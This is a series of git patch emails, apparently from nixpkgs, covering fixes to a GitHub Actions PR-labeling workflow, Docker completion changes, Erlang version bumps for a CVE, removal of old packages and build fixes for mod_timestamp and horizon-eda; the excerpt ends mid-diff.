diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 2b487dc00407..1a3571ac0212 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -173,7 +173,7 @@ jobs:
                   before.filter(name => !after.includes(name))
                   .map(name => github.rest.issues.removeLabel({
                     ...context.repo,
-                    issue_number: pull_request.number
+                    issue_number: pull_request.number,
                     name
                   }))
                 )
@@ -183,7 +183,7 @@ jobs:
                 if (added.length > 0) {
                   await github.rest.issues.addLabels({
                     ...context.repo,
-                    issue_number: pull_request.number
+                    issue_number: pull_request.number,
                     labels: added
                   })
                 }

From f8d1970c8e6d61b4ac6b203355a95b529eeeaddb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 16 Jun 2025 15:55:40 +0200
Subject: [PATCH 1116/4511] workflows/labels: fix first scheduled run

This would fail, because no previous workflow can be found.

(cherry picked from commit 4425979533e2c2264613454739a77c55063cbbf2)
---
 .github/workflows/labels.yml | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 1a3571ac0212..6e025a8a36ce 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -69,13 +69,14 @@ jobs:
               // Normally a scheduled run, but could be workflow_dispatch, see above. Go back as far
               // as the last successful run of this workflow to make sure we are not leaving anyone
               // behind on GHA failures.
+              // Defaults to go back 1 hour on the first run.
               return (await github.rest.actions.listWorkflowRuns({
                 ...context.repo,
                 workflow_id: 'labels.yml',
                 event: 'schedule',
                 status: 'success',
                 exclude_pull_requests: true
-              })).data.workflow_runs[0]?.created_at
+              })).data.workflow_runs[0]?.created_at ?? new Date().getTime() - 1 * 60 * 60 * 1000
             })())
             core.info('cutoff timestamp: ' + cutoff.toISOString())
 

From 688246e553b279fe9ba9de34a1f6cecde3577321 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 16 Jun 2025 15:56:19 +0200
Subject: [PATCH 1117/4511] workflows/labels: run to completion on error

This runs all PRs in scope to completion, before reporting errors.

(cherry picked from commit c12c91f4658e18d7a79fbf446debf118efb7a4cf)
---
 .github/workflows/labels.yml | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 6e025a8a36ce..6bbcdfebcce3 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -99,7 +99,7 @@ jobs:
                 direction: 'desc',
                 ...prEventCondition
               },
-              async (response, done) => await Promise.all(response.data.map(async (pull_request) => {
+              async (response, done) => (await Promise.allSettled(response.data.map(async (pull_request) => {
                 const log = (k,v) => core.info(`PR #${pull_request.number} - ${k}: ${v}`)
 
                 log('Last updated at', pull_request.updated_at)
@@ -188,7 +188,9 @@ jobs:
                     labels: added
                   })
                 }
-              }))
+              })))
+              .filter(({ status }) => status == 'rejected')
+              .map(({ reason }) => core.setFailed(reason))
             )
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0

From af2c8fa08fd0cef05377675848dc0ae5089735bb Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 16 Jun 2025 15:57:02 +0200
Subject: [PATCH 1118/4511] workflows/labels: save artifacts per PR

Previously, the artifacts of different PRs would overwrite each other,
thus leading to odd JSON parsing errors.

(cherry picked from commit 7efbed4cd753dcbad9704f626993033968da8502)
---
 .github/workflows/labels.yml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 6bbcdfebcce3..ac1f3c7b5777 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -137,7 +137,7 @@ jobs:
                     repositoryOwner: context.repo.owner,
                     token: core.getInput('github-token')
                   },
-                  path: path.resolve('comparison'),
+                  path: path.resolve(pull_request.number.toString()),
                   expectedHash: artifact.digest
                 })
 
@@ -161,11 +161,11 @@ jobs:
                 )
 
                 const maintainers = new Set(Object.keys(
-                  JSON.parse(await readFile('comparison/maintainers.json', 'utf-8'))
+                  JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
                 ))
 
                 // And the labels that should be there
-                const after = JSON.parse(await readFile('comparison/changed-paths.json', 'utf-8')).labels
+                const after = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
                 if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
                 if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
 

From 5cdc54000202a5da933bd1c9cd949bb947bd0da7 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Mon, 16 Jun 2025 16:19:42 +0200
Subject: [PATCH 1119/4511] workflows/labels: add more error context

The original error is kept, but the PR number is printed as well. Makes
debugging much easier.

(cherry picked from commit 97130d08e19e39b12776f6614769c8ae77427eb6)
---
 .github/workflows/labels.yml | 156 ++++++++++++++++++-----------------
 1 file changed, 80 insertions(+), 76 deletions(-)

diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index ac1f3c7b5777..5d69dfe4e071 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -100,97 +100,101 @@ jobs:
                 ...prEventCondition
               },
               async (response, done) => (await Promise.allSettled(response.data.map(async (pull_request) => {
-                const log = (k,v) => core.info(`PR #${pull_request.number} - ${k}: ${v}`)
+                try {
+                  const log = (k,v) => core.info(`PR #${pull_request.number} - ${k}: ${v}`)
 
-                log('Last updated at', pull_request.updated_at)
-                if (new Date(pull_request.updated_at) < cutoff) return done()
+                  log('Last updated at', pull_request.updated_at)
+                  if (new Date(pull_request.updated_at) < cutoff) return done()
 
-                const run_id = (await github.rest.actions.listWorkflowRuns({
-                  ...context.repo,
-                  workflow_id: 'eval.yml',
-                  event: 'pull_request_target',
-                  // For PR events, the workflow run is still in progress with this job itself.
-                  status: prEventCondition ? 'in_progress' : 'success',
-                  exclude_pull_requests: true,
-                  head_sha: pull_request.head.sha
-                })).data.workflow_runs[0]?.id
+                  const run_id = (await github.rest.actions.listWorkflowRuns({
+                    ...context.repo,
+                    workflow_id: 'eval.yml',
+                    event: 'pull_request_target',
+                    // For PR events, the workflow run is still in progress with this job itself.
+                    status: prEventCondition ? 'in_progress' : 'success',
+                    exclude_pull_requests: true,
+                    head_sha: pull_request.head.sha
+                  })).data.workflow_runs[0]?.id
 
-                // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
-                // job will be run as part of that Eval run anyway.
-                log('Last eval run', run_id)
-                if (!run_id) return;
+                  // Newer PRs might not have run Eval to completion, yet. We can skip them, because this
+                  // job will be run as part of that Eval run anyway.
+                  log('Last eval run', run_id)
+                  if (!run_id) return;
 
-                const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
-                  ...context.repo,
-                  run_id,
-                  name: 'comparison'
-                })).data.artifacts[0]
+                  const artifact = (await github.rest.actions.listWorkflowRunArtifacts({
+                    ...context.repo,
+                    run_id,
+                    name: 'comparison'
+                  })).data.artifacts[0]
 
-                // Instead of checking the boolean artifact.expired, we will give us a minute to
-                // actually download the artifact in the next step and avoid that race condition.
-                log('Artifact expires at', artifact.expires_at)
-                if (new Date(artifact.expires_at) < new Date(new Date().getTime() + 60 * 1000)) return;
+                  // Instead of checking the boolean artifact.expired, we will give us a minute to
+                  // actually download the artifact in the next step and avoid that race condition.
+                  log('Artifact expires at', artifact.expires_at)
+                  if (new Date(artifact.expires_at) < new Date(new Date().getTime() + 60 * 1000)) return;
 
-                await artifactClient.downloadArtifact(artifact.id, {
-                  findBy: {
-                    repositoryName: context.repo.repo,
-                    repositoryOwner: context.repo.owner,
-                    token: core.getInput('github-token')
-                  },
-                  path: path.resolve(pull_request.number.toString()),
-                  expectedHash: artifact.digest
-                })
+                  await artifactClient.downloadArtifact(artifact.id, {
+                    findBy: {
+                      repositoryName: context.repo.repo,
+                      repositoryOwner: context.repo.owner,
+                      token: core.getInput('github-token')
+                    },
+                    path: path.resolve(pull_request.number.toString()),
+                    expectedHash: artifact.digest
+                  })
 
-                // Get all currently set labels that we manage
-                const before =
-                  pull_request.labels.map(({ name }) => name)
-                  .filter(name =>
-                    name.startsWith('10.rebuild') ||
-                    name == '11.by: package-maintainer' ||
-                    name.startsWith('12.approvals:') ||
-                    name == '12.approved-by: package-maintainer'
+                  // Get all currently set labels that we manage
+                  const before =
+                    pull_request.labels.map(({ name }) => name)
+                    .filter(name =>
+                      name.startsWith('10.rebuild') ||
+                      name == '11.by: package-maintainer' ||
+                      name.startsWith('12.approvals:') ||
+                      name == '12.approved-by: package-maintainer'
+                    )
+
+                  const approvals = new Set(
+                    (await github.paginate(github.rest.pulls.listReviews, {
+                      ...context.repo,
+                      pull_number: pull_request.number
+                    }))
+                    .filter(review => review.state == 'APPROVED')
+                    .map(review => review.user.id)
                   )
 
-                const approvals = new Set(
-                  (await github.paginate(github.rest.pulls.listReviews, {
-                    ...context.repo,
-                    pull_number: pull_request.number
-                  }))
-                  .filter(review => review.state == 'APPROVED')
-                  .map(review => review.user.id)
-                )
+                  const maintainers = new Set(Object.keys(
+                    JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
+                  ))
 
-                const maintainers = new Set(Object.keys(
-                  JSON.parse(await readFile(`${pull_request.number}/maintainers.json`, 'utf-8'))
-                ))
+                  // And the labels that should be there
+                  const after = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
+                  if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
+                  if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
 
-                // And the labels that should be there
-                const after = JSON.parse(await readFile(`${pull_request.number}/changed-paths.json`, 'utf-8')).labels
-                if (approvals.size > 0) after.push(`12.approvals: ${approvals.size > 2 ? '3+' : approvals.size}`)
-                if (Array.from(maintainers).some(m => approvals.has(m))) after.push('12.approved-by: package-maintainer')
+                  // Remove the ones not needed anymore
+                  await Promise.all(
+                    before.filter(name => !after.includes(name))
+                    .map(name => github.rest.issues.removeLabel({
+                      ...context.repo,
+                      issue_number: pull_request.number,
+                      name
+                    }))
+                  )
 
-                // Remove the ones not needed anymore
-                await Promise.all(
-                  before.filter(name => !after.includes(name))
-                  .map(name => github.rest.issues.removeLabel({
-                    ...context.repo,
-                    issue_number: pull_request.number,
-                    name
-                  }))
-                )
-
-                // And add the ones that aren't set already
-                const added = after.filter(name => !before.includes(name))
-                if (added.length > 0) {
-                  await github.rest.issues.addLabels({
-                    ...context.repo,
-                    issue_number: pull_request.number,
-                    labels: added
-                  })
+                  // And add the ones that aren't set already
+                  const added = after.filter(name => !before.includes(name))
+                  if (added.length > 0) {
+                    await github.rest.issues.addLabels({
+                      ...context.repo,
+                      issue_number: pull_request.number,
+                      labels: added
+                    })
+                  }
+                } catch (cause) {
+                  throw new Error(`Labeling PR #${pull_request.number} failed.`, { cause })
                 }
               })))
               .filter(({ status }) => status == 'rejected')
-              .map(({ reason }) => core.setFailed(reason))
+              .map(({ reason }) => core.setFailed(`${reason.message}\n${reason.cause.stack}`))
             )
 
       - uses: actions/labeler@8558fd74291d67161a8a78ce36a881fa63b766a9 # v5.0.0

From 5180aee613df91f3d27cac7a90c5d1f83f17ac5a Mon Sep 17 00:00:00 2001
From: teutat3s <10206665+teutat3s@users.noreply.github.com>
Date: Mon, 16 Jun 2025 13:26:56 +0200
Subject: [PATCH 1120/4511] docker: use new completions

The completions were taken from https://github.com/docker/cli/tree/master/contrib/completion

Looking at recent PRs, it looks like these files are no longer being updated and instead everything is based on `docker completion`.

This is consistent with the manual: https://github.com/docker/docs/blob/main/content/manuals/engine/cli/completion.md

Co-authored-by: Tillmann Gaida <tillmann.gaida@gmail.com>
(cherry picked from commit 40d5a353e8bcfb3c8d52a8379ad4c88a8c7bc045)
---
 .../virtualization/docker/default.nix             | 15 +++++++++++----
 1 file changed, 11 insertions(+), 4 deletions(-)

diff --git a/pkgs/applications/virtualization/docker/default.nix b/pkgs/applications/virtualization/docker/default.nix
index 5be14107857d..8fa1d455008f 100644
--- a/pkgs/applications/virtualization/docker/default.nix
+++ b/pkgs/applications/virtualization/docker/default.nix
@@ -315,6 +315,8 @@ rec {
 
         installPhase =
           ''
+            runHook preInstall
+
             install -Dm755 ./build/docker $out/libexec/docker/docker
 
             makeWrapper $out/libexec/docker/docker $out/bin/docker \
@@ -330,11 +332,16 @@ rec {
             ln -s ${moby}/etc/systemd/system/docker.service $out/etc/systemd/system/docker.service
             ln -s ${moby}/etc/systemd/system/docker.socket $out/etc/systemd/system/docker.socket
           ''
-          + ''
+          # Required to avoid breaking cross builds
+          + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
             # completion (cli)
-            installShellCompletion --bash ./contrib/completion/bash/docker
-            installShellCompletion --fish ./contrib/completion/fish/docker.fish
-            installShellCompletion --zsh  ./contrib/completion/zsh/_docker
+            installShellCompletion --cmd docker \
+              --bash <($out/bin/docker completion bash) \
+              --fish <($out/bin/docker completion fish) \
+              --zsh <($out/bin/docker completion zsh)
+          ''
+          + ''
+            runHook postInstall
           '';
 
         passthru = {

From 401e2be64b92139603670d149591a0e2517f34c0 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 16 Jun 2025 09:33:07 -0400
Subject: [PATCH 1121/4511] erlang_26: 26.2.5.12 -> 26.2.5.13

https://github.com/erlang/otp/releases/tag/OTP-26.2.5.13
https://cna.erlef.org/cves/cve-2025-4748.html
Diff: https://github.com/erlang/otp/compare/OTP-26.2.5.12...OTP-26.2.5.13
(cherry picked from commit 56dbc986a9d40ce84f00c0c93ecc3edad6dfc61e)
---
 pkgs/development/interpreters/erlang/26.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/26.nix b/pkgs/development/interpreters/erlang/26.nix
index e8c1ea129030..b18854070055 100644
--- a/pkgs/development/interpreters/erlang/26.nix
+++ b/pkgs/development/interpreters/erlang/26.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "26.2.5.12";
-  sha256 = "sha256-q7rG83ioR0/bnAEzJZx5S17pQ91nE8R5+odHPVXngAI=";
+  version = "26.2.5.13";
+  sha256 = "sha256-imgI9qgAi17wN/QHVC3JKrmOArq3i2k+xMg8yBK2VrQ=";
 }

From f2fffe5899fb85e008e3f2964ed6d7b428f180fc Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 16 Jun 2025 13:35:06 +0000
Subject: [PATCH 1122/4511] erlang_27: 27.3.4 -> 27.3.4.1

https://github.com/erlang/otp/releases/tag/OTP-27.3.4.1
https://cna.erlef.org/cves/cve-2025-4748.html
(cherry picked from commit 818fb54d493983ac869f8eda3180158017f06b52)
---
 pkgs/development/interpreters/erlang/27.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/27.nix b/pkgs/development/interpreters/erlang/27.nix
index c2fe8772b4df..599cebd342bc 100644
--- a/pkgs/development/interpreters/erlang/27.nix
+++ b/pkgs/development/interpreters/erlang/27.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "27.3.4";
-  sha256 = "sha256-RZiN17k5fSIQUYxOoAts5iy/obgoPM0RFB5YXAfkTSk=";
+  version = "27.3.4.1";
+  sha256 = "sha256-L9VgcdO1TyLNm+vke90w6Xuq/T3uKzmU4d0uYEfyQlc=";
 }

From 16c41b578e1134e9656c24f1866f5447d6217dc9 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 16 Jun 2025 13:36:10 +0000
Subject: [PATCH 1123/4511] erlang_28: 28.0 -> 28.0.1

(cherry picked from commit ce4a261b9d77542b6e62a299467f5e4df0f8129f)
---
 pkgs/development/interpreters/erlang/28.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/development/interpreters/erlang/28.nix b/pkgs/development/interpreters/erlang/28.nix
index 93e9e596b0c7..8c6e4ee19148 100644
--- a/pkgs/development/interpreters/erlang/28.nix
+++ b/pkgs/development/interpreters/erlang/28.nix
@@ -1,6 +1,6 @@
 { mkDerivation }:
 
 mkDerivation {
-  version = "28.0";
-  sha256 = "sha256-ZqND4bOp0vUkBKznhojwsN3MygDf3I7OLkR05EUnSRg=";
+  version = "28.0.1";
+  sha256 = "sha256-eWDDreijr7RRmr6sVNuGpQ0qmynN4FTsiBXB8DOWKr4=";
 }

From 4eea24bc4cbfd55d0fcfd07eacfcb02d81c598fc Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Mon, 16 Jun 2025 09:36:52 -0400
Subject: [PATCH 1124/4511] erlang: delete unused OTP 24/25 files

(cherry picked from commit f42b1c40cd19fc2486cd90bed66445ff6ba80618)
---
 pkgs/development/interpreters/erlang/24.nix | 6 ------
 pkgs/development/interpreters/erlang/25.nix | 6 ------
 2 files changed, 12 deletions(-)
 delete mode 100644 pkgs/development/interpreters/erlang/24.nix
 delete mode 100644 pkgs/development/interpreters/erlang/25.nix

diff --git a/pkgs/development/interpreters/erlang/24.nix b/pkgs/development/interpreters/erlang/24.nix
deleted file mode 100644
index d2a841900802..000000000000
--- a/pkgs/development/interpreters/erlang/24.nix
+++ /dev/null
@@ -1,6 +0,0 @@
-{ mkDerivation }:
-
-mkDerivation {
-  version = "24.3.4.17";
-  sha256 = "sha256-V26pZEyFo+c+ztDDkjDNFK6LTw5xzF8gQYepWGNlGKg=";
-}
diff --git a/pkgs/development/interpreters/erlang/25.nix b/pkgs/development/interpreters/erlang/25.nix
deleted file mode 100644
index 7fa30796e44c..000000000000
--- a/pkgs/development/interpreters/erlang/25.nix
+++ /dev/null
@@ -1,6 +0,0 @@
-{ mkDerivation }:
-
-mkDerivation {
-  version = "25.3.2.19";
-  sha256 = "sha256-fd2YxFx/Skst+jRXAm4nLVxEIriu34lPRuBWvj+qaIk=";
-}

From 5b004682aad0533495034ea25d4ece152bebb30c Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Tue, 27 May 2025 00:07:14 +0000
Subject: [PATCH 1125/4511] rofi-wayland-unwrapped: 1.7.8+wayland1 ->
 1.7.9+wayland1

(cherry picked from commit 585d710a299ba0a2d890f78c98d677429446c0e8)
---
 pkgs/applications/misc/rofi/wayland.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/applications/misc/rofi/wayland.nix b/pkgs/applications/misc/rofi/wayland.nix
index a28d6f1027fe..25d0a69b7897 100644
--- a/pkgs/applications/misc/rofi/wayland.nix
+++ b/pkgs/applications/misc/rofi/wayland.nix
@@ -10,14 +10,14 @@
 
 rofi-unwrapped.overrideAttrs (oldAttrs: rec {
   pname = "rofi-wayland-unwrapped";
-  version = "1.7.8+wayland1";
+  version = "1.7.9+wayland1";
 
   src = fetchFromGitHub {
     owner = "lbonn";
     repo = "rofi";
     rev = version;
     fetchSubmodules = true;
-    hash = "sha256-6hQfy0c73z1Oi2mGjuhKLZQIBpG1u06v40dmlc5fL/w=";
+    hash = "sha256-tLSU0Q221Pg3JYCT+w9ZT4ZbbB5+s8FwsZa/ehfn00s=";
   };
 
   depsBuildBuild = oldAttrs.depsBuildBuild ++ [ pkg-config ];

From 7d0e22fa728211c42f10f09b1018d95912b8f42a Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Tue, 10 Jun 2025 10:13:38 -0400
Subject: [PATCH 1126/4511] apacheHttpdPackages_2_4.mod_timestamp: fix build
 with gcc 14

(cherry picked from commit f83566ac824b1b90d808925002d2455429f686dd)
---
 ...EVP_MD-seems-to-have-gone-recreate-i.patch | 41 +++++++++++++++++++
 .../apache-modules/mod_timestamp/default.nix  |  3 ++
 2 files changed, 44 insertions(+)
 create mode 100644 pkgs/servers/http/apache-modules/mod_timestamp/0001-DEFINE_STACK_OF-EVP_MD-seems-to-have-gone-recreate-i.patch

diff --git a/pkgs/servers/http/apache-modules/mod_timestamp/0001-DEFINE_STACK_OF-EVP_MD-seems-to-have-gone-recreate-i.patch b/pkgs/servers/http/apache-modules/mod_timestamp/0001-DEFINE_STACK_OF-EVP_MD-seems-to-have-gone-recreate-i.patch
new file mode 100644
index 000000000000..59b9f268e940
--- /dev/null
+++ b/pkgs/servers/http/apache-modules/mod_timestamp/0001-DEFINE_STACK_OF-EVP_MD-seems-to-have-gone-recreate-i.patch
@@ -0,0 +1,41 @@
+From 5f9d4458f05c5d9f4b416de867fd9327aba865d5 Mon Sep 17 00:00:00 2001
+From: Dirk-Willem van Gulik <dirkx@redwax.eu>
+Date: Fri, 21 Jan 2022 21:53:49 +0100
+Subject: [PATCH] DEFINE_STACK_OF(EVP_MD) seems to have gone; recreate it. And
+ quell a warning.
+
+---
+ mod_timestamp.c | 10 +++++++++-
+ 1 file changed, 9 insertions(+), 1 deletion(-)
+
+diff --git a/mod_timestamp.c b/mod_timestamp.c
+index 289d50a..54af7c8 100644
+--- a/mod_timestamp.c
++++ b/mod_timestamp.c
+@@ -41,6 +41,14 @@
+ 
+ #include "mod_ca.h"
+ 
++#ifndef sk_EVP_MD_free
++/* Recent versions of OpenSSL seem to no longer define 
++ * a stack of EVP_MD's. 
++ */
++#include <openssl/safestack.h>
++DEFINE_STACK_OF(EVP_MD)
++#endif
++
+ #define DEFAULT_TIMESTAMP_SIZE 128*1024
+ 
+ module AP_MODULE_DECLARE_DATA timestamp_module;
+@@ -360,7 +368,7 @@ static const char *add_timestamp_digest(cmd_parms *cmd, void *dconf,
+         return apr_psprintf(cmd->pool,
+                 "'%s' could not be recognised as a valid digest.", arg);
+     }
+-    if (!sk_EVP_MD_push(conf->digests, digest)) {
++    if (!sk_EVP_MD_push(conf->digests, (EVP_MD *)digest)) {
+         return apr_psprintf(cmd->pool,
+                 "'%s' could not be added as a valid digest.", arg);
+     }
+-- 
+2.49.0
+
diff --git a/pkgs/servers/http/apache-modules/mod_timestamp/default.nix b/pkgs/servers/http/apache-modules/mod_timestamp/default.nix
index 2de2d5a65b3c..91323c62e7b1 100644
--- a/pkgs/servers/http/apache-modules/mod_timestamp/default.nix
+++ b/pkgs/servers/http/apache-modules/mod_timestamp/default.nix
@@ -26,6 +26,9 @@ stdenv.mkDerivation rec {
     mod_ca
   ];
 
+  # FIXME: remove after next release after 0.2.3
+  patches = [ ./0001-DEFINE_STACK_OF-EVP_MD-seems-to-have-gone-recreate-i.patch ];
+
   env.NIX_CFLAGS_COMPILE = toString (
     lib.optionals stdenv.cc.isClang [
       "-Wno-error=int-conversion"

From 308193bd4e4f04fafd8ef5738abfc726a9a167a1 Mon Sep 17 00:00:00 2001
From: Michael Daniels <mdaniels5757@gmail.com>
Date: Wed, 11 Jun 2025 16:32:43 -0400
Subject: [PATCH 1127/4511] uae: drop

Unmaintained, unused, broken with gcc 14, and replaced by fsuae.

(cherry picked from commit 30019ca0ffce05f3d2e9faccace74e9c08810719)
---
 pkgs/by-name/ua/uae/package.nix | 49 ---------------------------------
 pkgs/top-level/aliases.nix      |  1 +
 2 files changed, 1 insertion(+), 49 deletions(-)
 delete mode 100644 pkgs/by-name/ua/uae/package.nix

diff --git a/pkgs/by-name/ua/uae/package.nix b/pkgs/by-name/ua/uae/package.nix
deleted file mode 100644
index 9ef978a25e7a..000000000000
--- a/pkgs/by-name/ua/uae/package.nix
+++ /dev/null
@@ -1,49 +0,0 @@
-{
-  lib,
-  stdenv,
-  fetchurl,
-  pkg-config,
-  gtk2,
-  alsa-lib,
-  SDL,
-}:
-
-stdenv.mkDerivation rec {
-  pname = "uae";
-  version = "0.8.29";
-
-  src = fetchurl {
-    url = "https://web.archive.org/web/20130905032631/http://www.amigaemulator.org/files/sources/develop/uae-${version}.tar.bz2";
-    sha256 = "05s3cd1rd5a970s938qf4c2xm3l7f54g5iaqw56v8smk355m4qr4";
-  };
-
-  configureFlags = [
-    "--with-sdl"
-    "--with-sdl-sound"
-    "--with-sdl-gfx"
-    "--with-alsa"
-  ];
-
-  nativeBuildInputs = [ pkg-config ];
-  buildInputs = [
-    gtk2
-    alsa-lib
-    SDL
-  ];
-
-  hardeningDisable = [ "format" ];
-  # Workaround build failure on -fno-common toolchains:
-  #   ld: bsdsocket.o:(.bss+0x0): multiple definition of
-  #     `socketbases'; main.o:(.bss+0x2792c0): first defined here
-  env.NIX_CFLAGS_COMPILE = "-fcommon";
-  LDFLAGS = [ "-lm" ];
-
-  meta = {
-    description = "Ultimate/Unix/Unusable Amiga Emulator";
-    license = lib.licenses.gpl2Plus;
-    homepage = "https://web.archive.org/web/20130901222855/http://www.amigaemulator.org/";
-    maintainers = [ lib.maintainers.sander ];
-    platforms = lib.platforms.linux;
-    mainProgram = "uae";
-  };
-}
diff --git a/pkgs/top-level/aliases.nix b/pkgs/top-level/aliases.nix
index 898fc11db483..53d6fb5b3a8b 100644
--- a/pkgs/top-level/aliases.nix
+++ b/pkgs/top-level/aliases.nix
@@ -1915,6 +1915,7 @@ mapAliases {
   ### U ###
 
   uade123 = uade; # Added 2022-07-30
+  uae = throw "'uae' has been removed due to lack of upstream maintenance. Consider using 'fsuae' instead."; # Added 2025-06-11
   uberwriter = throw "'uberwriter' has been renamed to/replaced by 'apostrophe'"; # Converted to throw 2024-10-17
   ubootBeagleboneBlack = throw "'ubootBeagleboneBlack' has been renamed to/replaced by 'ubootAmx335xEVM'"; # Converted to throw 2024-10-17
   ubuntu_font_family = ubuntu-classic; # Added 2024-02-19

From 37710157924d430ca02e70bd3855efa8f1d06f07 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Mon, 2 Jun 2025 00:32:54 +0000
Subject: [PATCH 1128/4511] horizon-eda: 2.6.0 -> 2.7.0

(cherry picked from commit bc5c600002c7d0993f71f4407ade92bb35d628e7)
---
 pkgs/by-name/ho/horizon-eda/base.nix                    | 4 ++--
 pkgs/development/python-modules/horizon-eda/default.nix | 9 +++++++++
 2 files changed, 11 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ho/horizon-eda/base.nix b/pkgs/by-name/ho/horizon-eda/base.nix
index 31c980998aa4..dc23456051ac 100644
--- a/pkgs/by-name/ho/horizon-eda/base.nix
+++ b/pkgs/by-name/ho/horizon-eda/base.nix
@@ -24,13 +24,13 @@ in
 # This base is used in horizon-eda and python3Packages.horizon-eda
 rec {
   pname = "horizon-eda";
-  version = "2.6.0";
+  version = "2.7.0";
 
   src = fetchFromGitHub {
     owner = "horizon-eda";
     repo = "horizon";
     rev = "v${version}";
-    hash = "sha256-0ikCR10r/WPb+H+Ut2GO6y4A/9bctJLanL/RR4r9GWs=";
+    hash = "sha256-Y2oopRycYSxtiKuQZSfTBVP7RmpZ0JA+QyZgnrpoAes=";
   };
 
   nativeBuildInputs = [
diff --git a/pkgs/development/python-modules/horizon-eda/default.nix b/pkgs/development/python-modules/horizon-eda/default.nix
index e444dc2705ca..ba630bc9cfcb 100644
--- a/pkgs/development/python-modules/horizon-eda/default.nix
+++ b/pkgs/development/python-modules/horizon-eda/default.nix
@@ -1,5 +1,6 @@
 {
   buildPythonPackage,
+  fetchpatch,
   horizon-eda,
   pycairo,
   python,
@@ -22,6 +23,14 @@ buildPythonPackage {
 
   disabled = pythonOlder "3.9";
 
+  patches = [
+    # Replaces osmesa with EGL_PLATFORM_SURFACELESS_MESA
+    (fetchpatch {
+      url = "https://github.com/horizon-eda/horizon/commit/663a8adaa1cb7eae7a824de07df8909bc33677c3.patch";
+      hash = "sha256-g0rP9NBDdDijh35Y2h4me9N5R/mjCn+2w7uhnv9bweY=";
+    })
+  ];
+
   buildInputs = base.buildInputs ++ [
     python
   ];

From ed1834960436b1345e24315320bf915813cb7f5f Mon Sep 17 00:00:00 2001
From: Juergen Fitschen <me@jue.yt>
Date: Thu, 5 Jun 2025 18:09:06 +0200
Subject: [PATCH 1129/4511] horizon-eda: remove permissive compile flag

This has been solved upstream.

(cherry picked from commit 68eb808a9939d4a408b0c9ccb13bf2ac87077f87)
---
 pkgs/by-name/ho/horizon-eda/base.nix | 3 ---
 1 file changed, 3 deletions(-)

diff --git a/pkgs/by-name/ho/horizon-eda/base.nix b/pkgs/by-name/ho/horizon-eda/base.nix
index dc23456051ac..0e931ff743a7 100644
--- a/pkgs/by-name/ho/horizon-eda/base.nix
+++ b/pkgs/by-name/ho/horizon-eda/base.nix
@@ -56,9 +56,6 @@ rec {
   ];
 
   env = {
-    NIX_CFLAGS_COMPILE = toString [
-      "-fpermissive"
-    ];
   };
 
   CASROOT = opencascade-occt;

From cce9b98bdfe4973d2f4b60dca06b6b4ad5f8a71e Mon Sep 17 00:00:00 2001
From: Juergen Fitschen <me@jue.yt>
Date: Thu, 5 Jun 2025 18:10:15 +0200
Subject: [PATCH 1130/4511] horizon-eda: propagate env properly

(cherry picked from commit 8eba7c6f286dbe3401fd5e812af85296a89199a0)
---
 pkgs/by-name/ho/horizon-eda/base.nix                    | 3 +--
 pkgs/by-name/ho/horizon-eda/package.nix                 | 1 -
 pkgs/development/python-modules/horizon-eda/default.nix | 2 +-
 3 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/pkgs/by-name/ho/horizon-eda/base.nix b/pkgs/by-name/ho/horizon-eda/base.nix
